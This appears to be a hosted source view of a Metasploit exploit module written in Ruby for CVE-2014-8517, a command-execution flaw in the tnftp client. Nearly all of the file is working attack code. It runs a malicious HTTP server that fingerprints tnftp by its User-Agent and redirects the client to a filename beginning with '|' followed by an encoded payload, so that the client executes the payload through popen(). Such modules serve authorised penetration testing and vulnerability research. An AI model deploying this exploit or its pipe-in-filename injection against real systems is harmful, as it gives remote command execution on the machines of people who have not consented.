William Vu
a15b61a218
It already starts the server and waits for us. This is what was called when the module was still auxiliary.
78 lines
2.3 KiB
Ruby
78 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'tnftp "savefile" Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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tnftp's handling of the resolved output filename - called "savefile" in
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the source - from a requested resource.
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If tnftp is executed without the -o command-line option, it will resolve
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the output filename from the last component of the requested resource.
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If the output filename begins with a "|" character, tnftp will pass the
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fetched resource's output to the command directly following the "|"
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character through the use of the popen() function.
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},
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'Author' => [
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'Jared McNeill', # Vulnerability discovery
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'wvu' # Metasploit module
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],
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'References' => [
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['CVE', '2014-8517'],
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['URL', 'http://seclists.org/oss-sec/2014/q4/459']
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],
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'DisclosureDate' => 'Oct 28 2014',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' => {'BadChars' => '/'},
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'Targets' => [['ftp(1)', {}]],
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'DefaultTarget' => 0
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))
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end
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def on_request_uri(cli, request)
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unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
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print_status("#{request['User-Agent']} connected")
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send_not_found(cli)
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return
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end
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if request.uri.ends_with?(sploit)
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send_response(cli, '')
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print_good("Executing `#{payload.encoded}'!")
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report_vuln(
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:host => cli.peerhost,
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:name => self.name,
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:refs => self.references,
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:info => request['User-Agent']
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)
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else
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print_status("#{request['User-Agent']} connected")
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print_status('Redirecting to exploit...')
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send_redirect(cli, sploit_uri)
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end
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end
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def sploit_uri
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(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
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Rex::Text.uri_encode(sploit, 'hex-all')
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end
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def sploit
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"|#{payload.encoded}"
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end
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end
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